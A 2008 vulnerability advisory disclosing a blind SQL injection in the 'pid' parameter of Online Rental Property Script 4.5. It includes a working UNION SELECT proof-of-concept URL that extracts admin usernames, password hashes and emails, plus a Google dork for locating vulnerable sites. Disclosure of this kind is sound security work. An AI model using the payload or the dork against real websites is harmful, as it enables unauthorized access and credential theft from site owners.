Online Rental Property Script <= 4.5 (pid) Blind Sql Injection Vulnerability

2008.05.15
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

ECHO_ADV_91$2008 ------------------------------------------------------------------------ ----------------- [ECHO_ADV_91$2008] Online Rental Property Script <= 4.5 (pid) Blind Sql Injection Vulnerability ------------------------------------------------------------------------ ----------------- Author : M.Hasran Addahroni Date : May, 5 th 2008 Location : Jakarta, Indonesia Web : http://advisories.echo.or.id/adv/adv91-K-159-2008.txt Critical Lvl : Medium Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Online Rental Property Script version : <= 4.5 Vendor : http://www.online-rent.com Description : Since 2003 we develop, sell and support our ONLINE BOOKING ENGINE for rental properties with real estate option. Joomla CMS is now integrated with our script. DESKTOP software for property management by owners/agents. Online and offline payments. Comission based/subscription based advertising for owners. Two booking calendars, three online booking types. Google Maps integration and NEW Google Maps property listing. Advanced administration features: additional services, description fields, taxes, custom links and pages, multiple language support, multiple currencies, configurable search. Property Management features: Advanced Reservation Management, HTML pages, SEO optimization, traffic report, Ratecard, price grid and many more ... Newsletter module, cronjob for recurring tasks, IP ban, activity log. You can build your own design and 100% customize the text used in the script. 14 predefined design templates and 10 predefined display styles. Easy upgrades. Add property wizard ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ Input passed to the "pid" parameter is not properly verified before being used to sql query. This can be exploited thru the browser and get the username and hash md5 password from admin. Successful exploitation requires that "magic_quotes" is off Poc/Exploit: ~~~~~~~~~~ http://www.target.com/index.php?pid=-1%20union%20select%201,concat(id,0x 3a,user,0x3a,password,0x3a,access,0x3a,email),3,4,5,6,7,8,9,0,1,2,3,4,5, 6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2%20from%20admin--&u ser=det Dork: ~~~~~ Google : "allinurl:index.php?user=daysbooking" Solution: ~~~~~~~ - Edit the source code to ensure that input is properly verified. - Turn on magic_quotes in php.ini Timeline: ~~~~~~~~~ - 01 - 05 - 2008 bug found - 01 - 05 - 2008 vendor contacted - 05 - 05 - 2008 advisory released ------------------------------------------------------------------------ --- Shoutz: ~~~~~ ~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke ~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal y,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b ~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel #e-c-h-o @irc.dal.net ~ special for rgod - good bye mate, thanks for the great works. ------------------------------------------------------------------------ --- Contact: ~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------


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